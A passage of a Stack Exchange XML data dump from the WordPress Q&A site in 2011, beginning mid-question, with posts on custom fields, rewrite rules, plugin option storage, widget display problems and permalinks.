$_SESSION['products-form-dives'.get_the_ID()]);  &#xA;__update_post_meta( $the_post_id, 'productquantity'.get_the_ID(), $_SESSION['products-form-quantity'.get_the_ID()]); &#xA;&#xA; endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Notice the query posts and use of get_the_ID() to differentiate. The same thing occurred with the session at the top of the page to load in the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code that then receives it is as follows. Notice that the reason for the IF statement is to only display the data of items that had quantity. Other php codes on the page retrieve the other custom posts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('post_type=services'); while (have_posts()) : the_post(); &#xA;        $SPtitle = get_post_meta($post-&amp;gt;ID, 'producttitle'.get_the_ID(), true);&#xA;        $SPprice = get_post_meta($post-&amp;gt;ID, 'productprice'.get_the_ID(), true); &#xA;        $SPduration = get_post_meta($post-&amp;gt;ID, 'productduration'.get_the_ID(), true);&#xA;        $SPdives = get_post_meta($post-&amp;gt;ID, 'productdives'.get_the_ID(), true);&#xA;        $SPquantity = get_post_meta($post-&amp;gt;ID, 'productquantity'.get_the_ID(), true);&#xA;        if ( $SPquantity ) { &#xA;        echo '&amp;lt;table width=&quot;478&quot; border=&quot;0&quot; cellspacing=&quot;5&quot; cellpadding=&quot;0&quot;&amp;gt;&#xA;           &amp;lt;tr&amp;gt;&#xA;             &amp;lt;td width=&quot;50&quot;&amp;gt;&amp;lt;div style=&quot;border:1px solid #FFF;&quot;&amp;gt;',the_post_thumbnail(array(50, 50, true)),'&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&#xA;             &amp;lt;td width=&quot;399&quot; style=&quot;padding-left:14px;&quot;&amp;gt;&amp;lt;div class=&quot;textstandard_white&quot;&amp;gt;&amp;lt;span style=&quot;display:none;&quot; id=&quot;QNTCON',get_the_ID(),'&quot;&amp;gt;',$SPquantity,'&amp;lt;/span&amp;gt; ', $SPtitle,'&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;textstandard_white&quot; style=&quot;font-size:10px; color:#EEE&quot;&amp;gt;',the_excerpt(),'&amp;lt;input name=&quot;product_price_PRI_',get_the_ID(),'&quot; id=&quot;product_price_PRI_',get_the_ID(),'&quot; type=&quot;hidden&quot; value=&quot;',$SPprice,'&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;product_price_total_PRI_',get_the_ID(),'&quot; id=&quot;product_price_total_PRI_',get_the_ID(),'&quot; type=&quot;hidden&quot; value=&quot;&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;product_duration_PRI_',get_the_ID(),'&quot; id=&quot;product_duration_PRI_',get_the_ID(),'&quot; type=&quot;hidden&quot; value=&quot;',$SPduration,'&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;product_duration_total_PRI_',get_the_ID(),'&quot; id=&quot;product_duration_total_PRI_',get_the_ID(),'&quot; type=&quot;hidden&quot; value=&quot;&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;product_dives_PRI_',get_the_ID(),'&quot; id=&quot;product_dives_PRI_',get_the_ID(),'&quot; type=&quot;hidden&quot; value=&quot;',$SPdives,'&quot;&amp;gt;&#xA;&amp;lt;input name=&quot;product_dives_total_PRI_',get_the_ID(),'&quot; id=&quot;product_dives_total_PRI_',get_the_ID(),'&quot; type=&quot;hidden&quot; value=&quot;&quot;&amp;gt;&#xA;&#xA;&amp;lt;input name=&quot;product_quantity_PRI_',get_the_ID(),'&quot; id=&quot;product_quantity_PRI_',get_the_ID(),'&quot; type=&quot;hidden&quot; title=&quot;&quot; value=&quot;',$SPquantity,'&quot;/&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/td&amp;gt;&#xA;           &amp;lt;/tr&amp;gt;&#xA;         &amp;lt;/table&amp;gt;';&#xA;}&#xA;else {&#xA;echo '';&#xA;};?&amp;gt;&#xA;                &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Right so I hope that explains what I am trying to do. And may I point out that it is all functional with the exception of the query area services. Hence why I have provided you with that segment of code. Does anybody know why that bit isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous, Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-02-05T19:07:01.617" Title="WP insert post PHP function dynamically generated Custom Fields" Tags="&lt;custom-post-types&gt;&lt;php&gt;&lt;custom-field&gt;&lt;query&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="8623" PostTypeId="2" ParentId="4294" CreationDate="2011-02-05T17:20:25.387" Score="1" ViewCount="" Body="&lt;p&gt;If I understand you right, you're looking for custom header support for custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default WordPress does not offer such a thing for custom post types. The features that are offered for CPTs are listed here: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type#Arguments&quot; rel=&quot;nofollow&quot;&gt;Arguments for register post type()&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is not easily possible.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-05T17:20:25.387" />
  <row Id="8624" PostTypeId="2" ParentId="6348" CreationDate="2011-02-05T17:48:18.777" Score="1" ViewCount="" Body="&lt;p&gt;Iulian, I think the best solution is to have one laptop per post, and then program your pages to have different numbers of laptops based on your needs. You can create a blank page in WP and then set it to use a custom page template. Code that template with a query to grab only certain laptops, and then they will all go that page.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-05T17:48:18.777" />
  <row Id="8625" PostTypeId="2" ParentId="8621" CreationDate="2011-02-05T17:58:31.377" Score="0" ViewCount="" Body="&lt;p&gt;You might want to check out the following article. I think it's what you want.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://justintadlock.com/archives/2009/09/10/adding-and-using-custom-user-profile-fields&quot; rel=&quot;nofollow&quot;&gt;Adding and using custom user profile fields&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2011-02-05T17:58:31.377" />
  <row Id="8627" PostTypeId="2" ParentId="4919" CreationDate="2011-02-05T18:22:27.033" Score="1" ViewCount="" Body="&lt;p&gt;As already somehow suggested in the comments, I think the most easy thing is to get a solution to your &quot;I don't want to duplicate template files all over the place because they contain all the same&quot; by modularizing those.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. by using template parts - and I think that's even more powerful - by hooking into the template loader (see template-loader.php). See as well &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference#Template_Actions&quot; rel=&quot;nofollow&quot;&gt;Template Actions (Wordpress Codex)&lt;/a&gt; &#xA;and the &lt;a href=&quot;http://toolpress.de/tools/Toolpress_-_Wordpress-3.0-Program-Flow-0.2-2010-06-28.pdf&quot; rel=&quot;nofollow&quot;&gt;Wordpress 3.0 Program Flow (Toolpress PDF)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-05T18:22:27.033" />
  <row Id="8628" PostTypeId="2" ParentId="8285" CreationDate="2011-02-05T18:34:45.497" Score="0" ViewCount="" Body="&lt;p&gt;k i found the answer on researching and modifying a code i found : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content', 'adds_block');&#xA;&#xA;function adds_block($content){&#xA;    if (is_single()) &#xA;//  return $content;&#xA;    global $post;&#xA;$thePostID = $post-&amp;gt;ID;&#xA;$test = '&amp;lt;span id=&quot;more-' .$thePostID.'&quot;&amp;gt;&amp;lt;/span&amp;gt;' ;&#xA;    return str_replace($test, ads(), $content);&#xA;    }&#xA;function ads(){&#xA;    return 'Your Custom Code,,';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will add your code after teh more tag area on the post page. &lt;/p&gt;&#xA;" OwnerUserId="2419" LastActivityDate="2011-02-05T18:34:45.497" />
  <row Id="8629" PostTypeId="2" ParentId="8622" CreationDate="2011-02-05T19:07:01.617" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php  &#xA;              $thispostID = $post-&amp;gt;ID&#xA;              ;?&amp;gt;&amp;lt;?php&#xA;&#xA;              query_posts('post_type=services'); while (have_posts()) : the_post();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Needs to get the post id of the master post before querying the services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change all references to &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt; to &lt;code&gt;$thispostID&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-02-05T19:07:01.617" />
  <row Id="8630" PostTypeId="2" ParentId="8612" CreationDate="2011-02-05T19:33:23.170" Score="2" ViewCount="" Body="&lt;p&gt;That's typically the result of users deleting accounts directly in the database. The functions that count users queries to the usermeta table to determine how many users are of a given type, when users do manual deletion they often forget to remove relational data left in the meta table, which in turn throws off the counts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Images below are to show how what i've said above is true(though i'll admit there's always a chance this isn't the problem you're experiencing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two admins&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/CDO0w.jpg&quot; alt=&quot;Two admins&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deleting a user record&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/wpC8Z.jpg&quot; alt=&quot;Deleting the user record in the users table&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viewing the list of admins after user record deletion&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/gb1nH.jpg&quot; alt=&quot;Seeing the misreported admin count&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to check the installation for redundant user meta, you could find user IDs that don't have a corresponding record in the users table in PhpMyAdmin using some SQL.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; SELECT DISTINCT user_id FROM wp_usermeta WHERE NOT EXISTS(SELECT ID FROM wp_users WHERE ID = user_id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you'd like that query wrapped into some WP ready code, just ask.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-05T19:33:23.170" CommentCount="4" />
  <row Id="8631" PostTypeId="1" CreationDate="2011-02-05T19:39:37.970" Score="0" ViewCount="189" Body="&lt;p&gt;I've got rewrite rules in my sanitize function below that should be processing each time I save/submit my plugin options, however, It seems to be hit or miss, as its taking at least 2 saves for the global rewrite to take effect.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Sanitize and validate input. Accepts an array, return a sanitized array.&#xA;function seo_settings_validate($input) {&#xA;&#xA;    if(!$input['no_cat_base']) {deactivate_nocat_base();}&#xA;&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;flush_rules();&#xA;&#xA;    return $input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible that the rewrite is not occuring in this context?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin options has a checkbox which the user selects whether to remove their category base from category page URLs. In either case, I'm doing a rewrite to update the permalinks, however, its hit or miss initially 404 errors on the website until I save the options a 2nd time.&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T20:30:26.267" LastActivityDate="2011-02-05T20:30:26.267" Title="How to effectively call $wp_rewrite-&gt;flush_rules from plugin options sanitation callback?" Tags="&lt;plugin-development&gt;&lt;url-rewriting&gt;&lt;coding&gt;" CommentCount="3" />
  <row Id="8632" PostTypeId="2" ParentId="8621" CreationDate="2011-02-05T20:28:53.320" Score="1" ViewCount="" Body="&lt;p&gt;Wordpress has no multi-level user and group ownerships / permissions by default. So what you are asking for you need to implement on your own by extending the database and the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then fine-grained control what users are allowed to do and what not. Like Zack suggested, this can be combined with custom user profile fields, but you can do anything you like with a system of your own.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-05T20:28:53.320" />
  <row Id="8633" PostTypeId="2" ParentId="4665" CreationDate="2011-02-05T20:36:37.260" Score="0" ViewCount="" Body="&lt;p&gt;From the IP you gave, it looks like that this is from a proxy - probably an open one, so I would out of the blue assume it's a spammer or attacker.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-05T20:36:37.260" />
  <row Id="8634" PostTypeId="2" ParentId="4616" CreationDate="2011-02-05T20:44:22.823" Score="0" ViewCount="" Body="&lt;p&gt;Like Jan Fabry wrote, you need to pass the cookie information with the request. Basically that's the admins' login-cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add those with the &lt;a href=&quot;http://codex.wordpress.org/Function_API/wp_remote_get#Parameters&quot; rel=&quot;nofollow&quot;&gt;$args array parameter&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-05T20:44:22.823" />
  <row Id="8635" PostTypeId="2" ParentId="4559" CreationDate="2011-02-05T20:51:05.627" Score="0" ViewCount="" Body="&lt;p&gt;Wordpress Menu do not work by automatically generating content. You can use the menu editor to add your pages manually, but menus do not get populated automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there is nothing in the &lt;em&gt;Wordpress Frontend Menu API&lt;/em&gt; (undocumented) with which you could achieve what you're asking for.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-05T20:51:05.627" />
  <row Id="8636" PostTypeId="1" AcceptedAnswerId="9208" CreationDate="2011-02-05T20:52:33.090" Score="0" ViewCount="121" Body="&lt;p&gt;An item in SideBarOther shows up on the main article listing page, but when I select an article (same page layout, the article replaces the listing), the item isn't there. There are two items in SideBarOther, and only the 2nd one has this problem (see code below). If I remove the first one, it is correctly gone from from both the listing page and article page, and the 2nd one still only shows up on the listing page. I'm using an unmodified &quot;News Magazine Theme 640&quot; theme.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://www.facebook.com/pages/[our-page]/[our number]&quot; title=&quot;[our name]&quot; &#xA;target=&quot;_blank&quot;&amp;gt;&amp;lt;img src=&quot;../pics/fbook_button.jpg&quot; boder=&quot;0&quot; alt=&quot;[our name]&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;script src=&quot;http://connect.facebook.net/en_US/all.js#xfbml=1&quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;fb:like &#xA;href=&quot;http://www.facebook.com/pages/[our name]/[our number]&quot; layout=&quot;box_count&quot; &#xA;show_faces=&quot;false&quot; width=&quot;50&quot;&amp;gt;&amp;lt;/fb:like&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NO, I am not confusing which item is not appearing - the local directory reference ../pics on the first item works on all pages. The Facebook Like button is the one that isn't appearing on all pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not hosted by Wordpress, rather Wordpress v. 2.92 is installed on our website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I tried the official wordpress forum, and got no reply.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;br&gt;&#xA;I &quot;viewed page source&quot; in Firefox, and THE CODE IS THERE on the article page, and it's IDENTICAL to the listing page. So why isn't it displayed??? I tried the Opera browser, same results. I added another copy of the first widget, and two of them appear on the listing page, and on the article page - the box automatically adjusted to accommodate them. &lt;/p&gt;&#xA;" LastActivityDate="2011-02-12T19:08:28.140" Title="Button in SideBarOther widget not showing up on all pages" Tags="&lt;html&gt;&lt;facebook&gt;&lt;widgets&gt;" AnswerCount="2" />
  <row Id="8637" PostTypeId="2" ParentId="4508" CreationDate="2011-02-05T21:12:49.560" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Q: Is there any solution through javascript to check the &quot;font-availibility&quot; at the user's end, and if found use &quot;Font-Size-A&quot; and if not then use &quot;Font-Size-B&quot; ?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes there is. It's called &lt;a href=&quot;http://www.lalit.org/lab/javascript-css-font-detect&quot; rel=&quot;nofollow&quot;&gt;JavaScript/CSS Font Detector&lt;/a&gt; and it can check for availability of fonts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After checking if a specific exists, you can add or remove a class to HTML elements that offer a pre-configured fallback styling then.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-02-05T21:12:49.560" CommentCount="4" />
  <row Id="8638" PostTypeId="2" ParentId="8636" CreationDate="2011-02-05T21:16:14.627" Score="1" ViewCount="" Body="&lt;p&gt;If possible, please provide links to the site and pages that display this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since your second item seems to be a script - first step would be to verify is it being output in page source. Otherwise it is hard to guess is problem with script not echoed or script not running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS there had been important security fixes since version 2.9.2, please consider upgrading as soon as possible.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-05T21:16:14.627" CommentCount="2" />
  <row Id="8639" PostTypeId="1" CreationDate="2011-02-05T20:33:39.627" Score="0" ViewCount="234" Body="&lt;p&gt;A widget in SideBarOther shows up on the main article listing page, but when I select an article (same page layout, the article replaces the listing), the widget isn't there. There are two items in SideBarOther, and only the 2nd one has this problem (see code below). If I remove the first one, it is correctly gone from from both the listing page and article page, and the 2nd one still only shows up on the listing page. I'm using an unmodified &quot;News Magazine Theme 640&quot; theme.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;http://www.facebook.com/pages/[our-page]/[our number]&quot; title=&quot;[our name]&quot;&#xA;target=&quot;_blank&quot;&amp;gt;&amp;lt;img src=&quot;../pics/fbook_button.jpg&quot; boder=&quot;0&quot; alt=&quot;[our name]&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;script src=&quot;http://connect.facebook.net/en_US/all.js#xfbml=1&quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;fb:like &#xA;href=&quot;http://www.facebook.com/pages/[our name]/[our number]&quot; layout=&quot;box_count&quot; &#xA;show_faces=&quot;false&quot; width=&quot;50&quot;&amp;gt;&amp;lt;/fb:like&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NO, I am not confusing which widget is not appearing - the local directory reference ../pics on the first widget works on all pages. The Facebook Like button is the one that isn't appearing on all pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not hosted by Wordpress, rather Wordpress v. 2.92 is installed on our website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I tried the official wordpress forum, and got no reply.  I also Googled a lot.) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;UPDATE&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;&#xA; - I &quot;viewed page source&quot; in Firefox, and THE CODE IS THERE on the article page, and it's IDENTICAL to the listing page. So why isn't it displayed???  I tried the Opera browser, same results.  I added another copy of the first widget, and two of them appear on the listing page, and on the article page - the box automatically adjusted to accommodate them.  This makes no sense, the code to display it is there.  &lt;/p&gt;&#xA;" LastActivityDate="2011-08-15T09:24:36.453" Title="Widget (html) on Wordpress is not appearing on all pages" Tags="&lt;html&gt;&lt;facebook&gt;&lt;widgets&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="8640" PostTypeId="1" CreationDate="2011-02-05T21:20:55.587" Score="1" ViewCount="137" Body="&lt;p&gt;I develop a plugin that has a not too small number of settings. So far, there has been a fixed number of them, so I store them in a Wordpress option. Now I consider letting users define (an arbitrary number of) styles, that is sets of options. Since these will still be rather general options, none of the categories listed in the &lt;a href=&quot;http://codex.wordpress.org/Writing_a_Plugin#Saving_Plugin_Data_to_the_Database&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt; really fits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Storing all that stuff in one option is clearly not a good idea, but creating a whole database tables does not feel right, either. What are your recommendations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I post one idea I have as an answer in order to separate it from the question. Would mark the question CW, but that seems to be disabled here?&lt;/p&gt;&#xA;" OwnerUserId="1524" LastActivityDate="2011-02-07T14:44:29.537" Title="How to store a medium amount of options?" Tags="&lt;plugin-development&gt;&lt;options&gt;" AnswerCount="5" CommentCount="1" />
  <row Id="8641" PostTypeId="2" ParentId="8640" CreationDate="2011-02-05T21:25:45.703" Score="1" ViewCount="" Body="&lt;p&gt;Add one Wordpress option per style. Since each style has a fixed size and is used in many places, the basic requirement for this technique in the Codex is fulfilled. Options should be named like &lt;code&gt;$pluginname_style_$name&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Retrieving one style with known name is very natural, idiomatic and (hopefully) fast then. Retrieving/deleting all styles is easily possible due to the naming scheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming users do not create too many (i.e. at most tens, not hundreds) styles, the options table should not be bloated too much.&lt;/p&gt;&#xA;" OwnerUserId="1524" LastActivityDate="2011-02-05T21:25:45.703" CommunityOwnedDate="2011-02-05T21:25:45.703" CommentCount="1" />
  <row Id="8642" PostTypeId="2" ParentId="8640" CreationDate="2011-02-05T21:29:14.023" Score="1" ViewCount="" Body="&lt;p&gt;The hierarchy of storing data roughly goes like this (from less functional/complex to more):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;Transients API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Options_API&quot; rel=&quot;nofollow&quot;&gt;Options API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Settings API&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Creating_Tables_with_Plugins&quot; rel=&quot;nofollow&quot;&gt;Database Tables&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Custom file cache&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Since from your description Options are too limited and database too complex, I would look at Settings.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-05T21:29:14.023" CommentCount="2" />
  <row Id="8643" PostTypeId="1" CreationDate="2011-02-05T21:47:52.563" Score="0" ViewCount="48" Body="&lt;p&gt;How to add a &quot;current&quot; tag to the currents both category and post  in &lt;a href=&quot;http://wordpress.pastebin.com/YFQC6biN&quot; rel=&quot;nofollow&quot;&gt;Category List with Posts Widget&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2963" LastActivityDate="2011-02-05T21:47:52.563" Title="How to add a &quot;current&quot; tag to the currents both category and post in Category List with Posts Widget?" Tags="&lt;plugins&gt;&lt;categories&gt;&lt;posts&gt;" CommentCount="2" />
  <row Id="8644" PostTypeId="2" ParentId="8640" CreationDate="2011-02-05T21:52:03.147" Score="0" ViewCount="" Body="&lt;p&gt;you can create an array as you dataset and save it into one option &#xA;for every new style&#xA;something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$new['size'] = ...&#xA;$new['fixed'] = ...&#xA;$new['blabla'] = ...&#xA;&#xA;update_option('new_option_name',$new);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope you get the idea.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-05T21:52:03.147" CommentCount="2" />
  <row Id="8645" PostTypeId="2" ParentId="8640" CreationDate="2011-02-05T22:18:13.473" Score="3" ViewCount="" Body="&lt;p&gt;To best answer your question I suggest to not answer it ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or more precisely: &lt;em&gt;&lt;a href=&quot;http://instantiate.co.nz/post/Writing-maintainable-code-encapsulate-what-varies.aspx&quot; rel=&quot;nofollow&quot;&gt;Encapsulate what varies&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you right now do not know how / where to store your settings, create objects that are providing an interface to your store and that are hiding the whole storing away from the rest of your plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;interface myStore {&#xA;    const PREFIX = 'myStore';&#xA;    public function get($name);&#xA;    public function set($name, $value);&#xA;}&#xA;/**&#xA; * option storage: all in one wordpress option&#xA; */&#xA;class myStore_Options implements myStore {&#xA;    private $data = null;&#xA;    private $optionName = '';&#xA;    private init() {&#xA;        if (null===$this-&amp;gt;data) {&#xA;            $this-&amp;gt;optionName = myStore::PREFIX.'_options';&#xA;            $this-&amp;gt;data = get_option($this-&amp;gt;optionName, array());&#xA;        }&#xA;    }&#xA;    public function get($name) {&#xA;        if (array_key_exists($this-&amp;gt;data, $name)&#xA;            return $this-&amp;gt;data[$name];&#xA;        return '';&#xA;    }&#xA;    public function set($name, $value) {&#xA;        $this-&amp;gt;data[$name] = $value;&#xA;        update_option($this-&amp;gt;optionName, $this-&amp;gt;data);&#xA;    }&#xA;}&#xA;$store = new MyStore_Options();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everywhere in your code you can then use &lt;code&gt;$store-&amp;gt;get('settingName')&lt;/code&gt; regardless of which storage layer you implement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now create another myStore_xxxx class implementing the myStore interface, e.g. for the styles. It will work exactly the same, but you can put the styles to somewhere else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally you only need to read and write settings, so you would only need two functions here in the interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then - over time or while you continue to extend the number of options values / styles - change the storage methodology w/o affecting your plugin code.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T01:32:41.887" LastActivityDate="2011-02-06T01:32:41.887" CommentCount="3" />
  <row Id="8646" PostTypeId="1" CreationDate="2011-02-05T22:19:07.407" Score="0" ViewCount="68" Body="&lt;p&gt;Does anyone how I could build a region selector into WordPress? Something that would perhaps work similar to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.gbst.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.gbst.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been playing around with doing it manually ie. having a multi-site install where one site represents one region. The issue I see with this however is there would be a lot of duplicated content.&lt;/p&gt;&#xA;" OwnerUserId="578" LastEditorUserId="578" LastEditorDisplayName="" LastEditDate="2011-02-05T22:46:53.793" LastActivityDate="2011-08-16T12:33:52.613" Title="Wordpress Region Selector (ie. North America, Europe, Australia/NZ)" Tags="&lt;multisite&gt;&lt;geo-data&gt;" AnswerCount="0" CommentCount="2" />
  <row Id="8647" PostTypeId="1" AcceptedAnswerId="8663" CreationDate="2011-02-05T22:21:50.110" Score="0" ViewCount="446" Body="&lt;p&gt;I've placed the string below into my custom permalinks input but it does not appear to have any effect...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/%category%/%postname%/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm trying to insure that my post links are in the form of /category-name/post-name&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-03-08T12:38:37.910" Title="How to change permalinks to show categoryname/post-name?" Tags="&lt;permalinks&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="8648" PostTypeId="1" CreationDate="2011-02-05T22:31:33.743" Score="0" ViewCount="174" Body="&lt;p&gt;I'm looking for a way to target ads to specific states.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to use an ad rotation plugin like ad rotate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ad buttons almost works, but is only country specific, not state.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-geolocation-js/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-geolocation-js/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this plugin could provide javascript variables, but I'm not sure how I'd use those to get the result I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any possible solutions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;zeem&lt;/p&gt;&#xA;" OwnerUserId="1767" LastActivityDate="2011-09-05T06:43:00.673" Title="geotargeting ads with an ad rotation plugin?" Tags="&lt;plugins&gt;&lt;geo-data&gt;&lt;ads&gt;" AnswerCount="1" />
